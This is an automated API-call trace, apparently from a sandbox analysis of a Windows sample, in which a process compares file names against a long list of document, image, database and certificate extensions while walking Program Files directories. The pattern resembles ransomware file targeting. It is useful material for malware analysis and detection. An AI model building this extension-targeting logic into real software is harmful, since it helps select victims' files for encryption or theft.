	[0167.800] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0167.800] lstrlenW (lpString=".cf") returned 3
	[0167.800] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0167.800] lstrlenW (lpString=".cfc") returned 4
	[0167.800] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0167.800] lstrlenW (lpString=".cfm") returned 4
	[0167.800] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0167.800] lstrlenW (lpString=".cfml") returned 5
	[0167.800] lstrcmpiW (lpString1=".cfml", lpString2="l.mui") returned -1
	[0167.800] lstrlenW (lpString=".cfu") returned 4
	[0167.800] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0167.800] lstrlenW (lpString=".chm") returned 4
	[0167.800] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0167.800] lstrlenW (lpString=".cin") returned 4
	[0167.800] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0167.800] lstrlenW (lpString=".class") returned 6
	[0167.800] lstrcmpiW (lpString1=".class", lpString2="ll.mui") returned -1
	[0167.800] lstrlenW (lpString=".clx") returned 4
	[0167.800] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0167.800] lstrlenW (lpString=".config") returned 7
	[0167.800] lstrcmpiW (lpString1=".config", lpString2="dll.mui") returned -1
	[0167.800] lstrlenW (lpString=".cpp") returned 4
	[0167.800] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0167.800] lstrlenW (lpString=".cr2") returned 4
	[0167.800] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0167.800] lstrlenW (lpString=".crt") returned 4
	[0167.801] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0167.801] lstrlenW (lpString=".crw") returned 4
	[0167.801] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0167.801] lstrlenW (lpString=".cs") returned 3
	[0167.801] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0167.801] lstrlenW (lpString=".css") returned 4
	[0167.801] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0167.801] lstrlenW (lpString=".csv") returned 4
	[0167.801] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0167.801] lstrlenW (lpString=".cub") returned 4
	[0167.801] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0167.801] lstrlenW (lpString=".dae") returned 4
	[0167.801] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0167.801] lstrlenW (lpString=".dat") returned 4
	[0167.801] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0167.801] lstrlenW (lpString=".db") returned 3
	[0167.801] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0167.801] lstrlenW (lpString=".dbf") returned 4
	[0167.801] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0167.801] lstrlenW (lpString=".dbx") returned 4
	[0167.801] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0167.801] lstrlenW (lpString=".dc3") returned 4
	[0167.801] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0167.801] lstrlenW (lpString=".dcm") returned 4
	[0167.801] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0167.801] lstrlenW (lpString=".dcr") returned 4
	[0167.801] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0167.801] lstrlenW (lpString=".der") returned 4
	[0167.801] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0167.801] lstrlenW (lpString=".dib") returned 4
	[0167.801] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0167.801] lstrlenW (lpString=".dic") returned 4
	[0167.801] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0167.801] lstrlenW (lpString=".dif") returned 4
	[0167.802] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0167.802] lstrlenW (lpString=".divx") returned 5
	[0167.802] lstrcmpiW (lpString1=".divx", lpString2="l.mui") returned -1
	[0167.802] lstrlenW (lpString=".djvu") returned 5
	[0167.802] lstrcmpiW (lpString1=".djvu", lpString2="l.mui") returned -1
	[0167.802] lstrlenW (lpString=".dng") returned 4
	[0167.802] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0167.802] lstrlenW (lpString=".doc") returned 4
	[0167.802] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0167.802] lstrlenW (lpString=".docm") returned 5
	[0167.802] lstrcmpiW (lpString1=".docm", lpString2="l.mui") returned -1
	[0167.802] lstrlenW (lpString=".docx") returned 5
	[0167.802] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0167.802] lstrlenW (lpString=".dot") returned 4
	[0167.802] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0167.802] lstrlenW (lpString=".dotm") returned 5
	[0167.802] lstrcmpiW (lpString1=".dotm", lpString2="l.mui") returned -1
	[0167.802] lstrlenW (lpString=".dotx") returned 5
	[0167.802] lstrcmpiW (lpString1=".dotx", lpString2="l.mui") returned -1
	[0167.802] lstrlenW (lpString=".dpx") returned 4
	[0167.802] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0167.802] lstrlenW (lpString=".dqy") returned 4
	[0167.802] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0167.802] lstrlenW (lpString=".dsn") returned 4
	[0167.802] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0167.802] lstrlenW (lpString=".dt") returned 3
	[0167.802] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0167.802] lstrlenW (lpString=".dtd") returned 4
	[0167.802] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0167.802] lstrlenW (lpString=".dwg") returned 4
	[0167.803] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0167.803] lstrlenW (lpString=".dwt") returned 4
	[0167.803] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0167.803] lstrlenW (lpString=".dx") returned 3
	[0167.803] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0167.803] lstrlenW (lpString=".dxf") returned 4
	[0167.803] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0167.803] lstrlenW (lpString=".edml") returned 5
	[0167.803] lstrcmpiW (lpString1=".edml", lpString2="l.mui") returned -1
	[0167.803] lstrlenW (lpString=".efd") returned 4
	[0167.803] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0167.803] lstrlenW (lpString=".elf") returned 4
	[0167.803] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0167.803] lstrlenW (lpString=".emf") returned 4
	[0167.803] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0167.803] lstrlenW (lpString=".emz") returned 4
	[0167.803] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0167.803] lstrlenW (lpString=".epf") returned 4
	[0167.803] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0167.803] lstrlenW (lpString=".eps") returned 4
	[0167.803] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0167.803] lstrlenW (lpString=".epsf") returned 5
	[0167.803] lstrcmpiW (lpString1=".epsf", lpString2="l.mui") returned -1
	[0167.803] lstrlenW (lpString=".epsp") returned 5
	[0167.803] lstrcmpiW (lpString1=".epsp", lpString2="l.mui") returned -1
	[0167.803] lstrlenW (lpString=".erf") returned 4
	[0167.803] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0167.803] lstrlenW (lpString=".exr") returned 4
	[0167.803] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0167.803] lstrlenW (lpString=".f4v") returned 4
	[0167.803] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0167.804] lstrlenW (lpString=".fido") returned 5
	[0167.804] lstrcmpiW (lpString1=".fido", lpString2="l.mui") returned -1
	[0167.804] lstrlenW (lpString=".flm") returned 4
	[0167.804] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0167.804] lstrlenW (lpString=".flv") returned 4
	[0167.804] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0167.804] lstrlenW (lpString=".frm") returned 4
	[0167.804] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0167.804] lstrlenW (lpString=".fxg") returned 4
	[0167.804] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0167.804] lstrlenW (lpString=".geo") returned 4
	[0167.804] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0167.804] lstrlenW (lpString=".gif") returned 4
	[0167.804] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0167.804] lstrlenW (lpString=".grs") returned 4
	[0167.804] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0167.804] lstrlenW (lpString=".gz") returned 3
	[0167.804] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0167.804] lstrlenW (lpString=".h") returned 2
	[0167.804] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0167.804] lstrlenW (lpString=".hdr") returned 4
	[0167.804] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0167.804] lstrlenW (lpString=".hpp") returned 4
	[0167.804] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0167.804] lstrlenW (lpString=".hta") returned 4
	[0167.804] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0167.804] lstrlenW (lpString=".htc") returned 4
	[0167.804] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0167.804] lstrlenW (lpString=".htm") returned 4
	[0167.804] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0167.804] lstrlenW (lpString=".html") returned 5
	[0167.804] lstrcmpiW (lpString1=".html", lpString2="l.mui") returned -1
	[0167.804] lstrlenW (lpString=".icb") returned 4
	[0167.805] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0167.805] lstrlenW (lpString=".ics") returned 4
	[0167.805] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0167.805] lstrlenW (lpString=".iff") returned 4
	[0167.805] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0167.805] lstrlenW (lpString=".inc") returned 4
	[0167.805] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0167.805] lstrlenW (lpString=".indd") returned 5
	[0167.805] lstrcmpiW (lpString1=".indd", lpString2="l.mui") returned -1
	[0167.805] lstrlenW (lpString=".ini") returned 4
	[0167.805] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0167.805] lstrlenW (lpString=".iqy") returned 4
	[0167.805] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0167.805] lstrlenW (lpString=".j2c") returned 4
	[0167.805] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0167.805] lstrlenW (lpString=".j2k") returned 4
	[0167.805] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0167.805] lstrlenW (lpString=".java") returned 5
	[0167.805] lstrcmpiW (lpString1=".java", lpString2="l.mui") returned -1
	[0167.805] lstrlenW (lpString=".jp2") returned 4
	[0167.805] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0167.805] lstrlenW (lpString=".jpc") returned 4
	[0167.805] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0167.805] lstrlenW (lpString=".jpe") returned 4
	[0167.805] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0167.805] lstrlenW (lpString=".jpeg") returned 5
	[0167.805] lstrcmpiW (lpString1=".jpeg", lpString2="l.mui") returned -1
	[0167.805] lstrlenW (lpString=".jpf") returned 4
	[0167.805] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0167.805] lstrlenW (lpString=".jpg") returned 4
	[0167.805] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0167.806] lstrlenW (lpString=".jpx") returned 4
	[0167.806] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0167.806] lstrlenW (lpString=".js") returned 3
	[0167.806] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0167.806] lstrlenW (lpString=".jsf") returned 4
	[0167.806] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0167.806] lstrlenW (lpString=".json") returned 5
	[0167.806] lstrcmpiW (lpString1=".json", lpString2="l.mui") returned -1
	[0167.806] lstrlenW (lpString=".jsp") returned 4
	[0167.806] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0167.806] lstrlenW (lpString=".kdc") returned 4
	[0167.806] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0167.806] lstrlenW (lpString=".kmz") returned 4
	[0167.806] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0167.806] lstrlenW (lpString=".kwm") returned 4
	[0167.806] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0167.806] lstrlenW (lpString=".lasso") returned 6
	[0167.806] lstrcmpiW (lpString1=".lasso", lpString2="ll.mui") returned -1
	[0167.806] lstrlenW (lpString=".lbi") returned 4
	[0167.806] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0167.806] lstrlenW (lpString=".lgf") returned 4
	[0167.806] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0167.806] lstrlenW (lpString=".lgp") returned 4
	[0167.806] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0167.806] lstrlenW (lpString=".log") returned 4
	[0167.806] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0167.806] lstrlenW (lpString=".m1v") returned 4
	[0167.806] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0167.806] lstrlenW (lpString=".m4a") returned 4
	[0167.806] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0167.806] lstrlenW (lpString=".m4v") returned 4
	[0167.806] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0167.806] lstrlenW (lpString=".max") returned 4
	[0167.807] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0167.807] lstrlenW (lpString=".md") returned 3
	[0167.807] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0167.807] lstrlenW (lpString=".mda") returned 4
	[0167.807] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0167.807] lstrlenW (lpString=".mdb") returned 4
	[0167.807] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
	[0167.807] lstrlenW (lpString=".mde") returned 4
	[0167.807] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0167.807] lstrlenW (lpString=".mdf") returned 4
	[0167.807] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0167.807] lstrlenW (lpString=".mdw") returned 4
	[0167.807] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0167.807] lstrlenW (lpString=".mef") returned 4
	[0167.807] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0167.807] lstrlenW (lpString=".mft") returned 4
	[0167.807] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0167.807] lstrlenW (lpString=".mfw") returned 4
	[0167.807] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0167.807] lstrlenW (lpString=".mht") returned 4
	[0167.807] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0167.807] lstrlenW (lpString=".mhtml") returned 6
	[0167.807] lstrcmpiW (lpString1=".mhtml", lpString2="ll.mui") returned -1
	[0167.807] lstrlenW (lpString=".mka") returned 4
	[0167.807] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0167.807] lstrlenW (lpString=".mkidx") returned 6
	[0167.807] lstrcmpiW (lpString1=".mkidx", lpString2="ll.mui") returned -1
	[0167.807] lstrlenW (lpString=".mkv") returned 4
	[0167.807] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0167.807] lstrlenW (lpString=".mos") returned 4
	[0167.807] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0167.807] lstrlenW (lpString=".mov") returned 4
	[0167.808] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0167.808] lstrlenW (lpString=".mp3") returned 4
	[0167.808] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0167.808] lstrlenW (lpString=".mp4") returned 4
	[0167.808] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0167.808] lstrlenW (lpString=".mpeg") returned 5
	[0167.808] lstrcmpiW (lpString1=".mpeg", lpString2="l.mui") returned -1
	[0167.808] lstrlenW (lpString=".mpg") returned 4
	[0167.808] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0167.808] lstrlenW (lpString=".mpv") returned 4
	[0167.808] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0167.808] lstrlenW (lpString=".mrw") returned 4
	[0167.808] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0167.808] lstrlenW (lpString=".msg") returned 4
	[0167.808] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0167.808] lstrlenW (lpString=".mxl") returned 4
	[0167.808] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0167.808] lstrlenW (lpString=".myd") returned 4
	[0167.808] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0167.808] lstrlenW (lpString=".myi") returned 4
	[0167.808] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0167.808] lstrlenW (lpString=".nef") returned 4
	[0167.808] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0167.808] lstrlenW (lpString=".nrw") returned 4
	[0167.808] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0167.808] lstrlenW (lpString=".obj") returned 4
	[0167.808] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0167.808] lstrlenW (lpString=".odb") returned 4
	[0167.808] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0167.808] lstrlenW (lpString=".odc") returned 4
	[0167.808] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0167.809] lstrlenW (lpString=".odm") returned 4
	[0167.809] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0167.809] lstrlenW (lpString=".odp") returned 4
	[0167.809] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0167.809] lstrlenW (lpString=".ods") returned 4
	[0167.809] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0167.809] lstrlenW (lpString=".oft") returned 4
	[0167.809] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0167.809] lstrlenW (lpString=".one") returned 4
	[0167.809] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0167.809] lstrlenW (lpString=".onepkg") returned 7
	[0167.809] lstrcmpiW (lpString1=".onepkg", lpString2="dll.mui") returned -1
	[0167.809] lstrlenW (lpString=".onetoc2") returned 8
	[0167.809] lstrcmpiW (lpString1=".onetoc2", lpString2=".dll.mui") returned 1
	[0167.809] lstrlenW (lpString=".opt") returned 4
	[0167.809] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0167.809] lstrlenW (lpString=".oqy") returned 4
	[0167.809] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0167.809] lstrlenW (lpString=".orf") returned 4
	[0167.809] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0167.809] lstrlenW (lpString=".p12") returned 4
	[0167.809] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0167.809] lstrlenW (lpString=".p7b") returned 4
	[0167.809] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0167.809] lstrlenW (lpString=".p7c") returned 4
	[0167.809] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0167.809] lstrlenW (lpString=".pam") returned 4
	[0167.809] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0167.809] lstrlenW (lpString=".pbm") returned 4
	[0167.809] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0167.809] lstrlenW (lpString=".pct") returned 4
	[0167.809] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0167.810] lstrlenW (lpString=".pcx") returned 4
	[0167.810] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0167.810] lstrlenW (lpString=".pdd") returned 4
	[0167.810] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0167.810] lstrlenW (lpString=".pdf") returned 4
	[0167.810] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0167.810] lstrlenW (lpString=".pdp") returned 4
	[0167.810] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0167.810] lstrlenW (lpString=".pef") returned 4
	[0167.810] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0167.810] lstrlenW (lpString=".pem") returned 4
	[0167.810] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0167.810] lstrlenW (lpString=".pff") returned 4
	[0167.810] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0167.810] lstrlenW (lpString=".pfm") returned 4
	[0167.810] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0167.810] lstrlenW (lpString=".pfx") returned 4
	[0167.810] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0167.810] lstrlenW (lpString=".pgm") returned 4
	[0167.810] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0167.810] lstrlenW (lpString=".php") returned 4
	[0167.810] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0167.810] lstrlenW (lpString=".php3") returned 5
	[0167.810] lstrcmpiW (lpString1=".php3", lpString2="l.mui") returned -1
	[0167.810] lstrlenW (lpString=".php4") returned 5
	[0167.810] lstrcmpiW (lpString1=".php4", lpString2="l.mui") returned -1
	[0167.810] lstrlenW (lpString=".php5") returned 5
	[0167.810] lstrcmpiW (lpString1=".php5", lpString2="l.mui") returned -1
	[0167.810] lstrlenW (lpString=".phtml") returned 6
	[0167.810] lstrcmpiW (lpString1=".phtml", lpString2="ll.mui") returned -1
	[0167.810] lstrlenW (lpString=".pict") returned 5
	[0167.810] lstrcmpiW (lpString1=".pict", lpString2="l.mui") returned -1
	[0167.811] lstrlenW (lpString=".pl") returned 3
	[0167.811] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0167.811] lstrlenW (lpString=".pls") returned 4
	[0167.811] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0167.811] lstrlenW (lpString=".pm") returned 3
	[0167.811] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0167.811] lstrlenW (lpString=".png") returned 4
	[0167.811] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0167.811] lstrlenW (lpString=".pnm") returned 4
	[0167.811] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0167.811] lstrlenW (lpString=".pot") returned 4
	[0167.811] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0167.811] lstrlenW (lpString=".potm") returned 5
	[0167.811] lstrcmpiW (lpString1=".potm", lpString2="l.mui") returned -1
	[0167.811] lstrlenW (lpString=".potx") returned 5
	[0167.811] lstrcmpiW (lpString1=".potx", lpString2="l.mui") returned -1
	[0167.811] lstrlenW (lpString=".ppa") returned 4
	[0167.811] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0167.811] lstrlenW (lpString=".ppam") returned 5
	[0167.811] lstrcmpiW (lpString1=".ppam", lpString2="l.mui") returned -1
	[0167.811] lstrlenW (lpString=".ppm") returned 4
	[0167.811] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0167.811] lstrlenW (lpString=".pps") returned 4
	[0167.811] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0167.811] lstrlenW (lpString=".ppsm") returned 5
	[0167.811] lstrcmpiW (lpString1=".ppsm", lpString2="l.mui") returned -1
	[0167.811] lstrlenW (lpString=".ppt") returned 4
	[0167.811] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0167.811] lstrlenW (lpString=".pptm") returned 5
	[0167.811] lstrcmpiW (lpString1=".pptm", lpString2="l.mui") returned -1
	[0167.811] lstrlenW (lpString=".pptx") returned 5
	[0167.811] lstrcmpiW (lpString1=".pptx", lpString2="l.mui") returned -1
	[0167.812] lstrlenW (lpString=".prn") returned 4
	[0167.812] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0167.812] lstrlenW (lpString=".ps") returned 3
	[0167.812] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0167.812] lstrlenW (lpString=".psb") returned 4
	[0167.812] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0167.812] lstrlenW (lpString=".psd") returned 4
	[0167.812] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0167.812] lstrlenW (lpString=".pst") returned 4
	[0167.812] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0167.812] lstrlenW (lpString=".ptx") returned 4
	[0167.812] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0167.812] lstrlenW (lpString=".pub") returned 4
	[0167.812] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0167.812] lstrlenW (lpString=".pwm") returned 4
	[0167.812] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0167.812] lstrlenW (lpString=".pxr") returned 4
	[0167.812] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0167.812] lstrlenW (lpString=".py") returned 3
	[0167.812] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0167.812] lstrlenW (lpString=".qt") returned 3
	[0167.812] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0167.812] lstrlenW (lpString=".r3d") returned 4
	[0167.812] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1
	[0167.812] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e316e09, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e316e09, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e316e09, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0167.812] FindClose (in: hFindFile=0x6ac718 | out: hFindFile=0x6ac718) returned 1
	[0167.812] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0167.812] FindNextFileW (in: hFindFile=0x6ac2d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0167.813] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4467000
	[0167.813] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\*", lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName=".", cAlternateFileName="")) returned 0x6ac718
	[0167.813] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="..", cAlternateFileName="")) returned 1
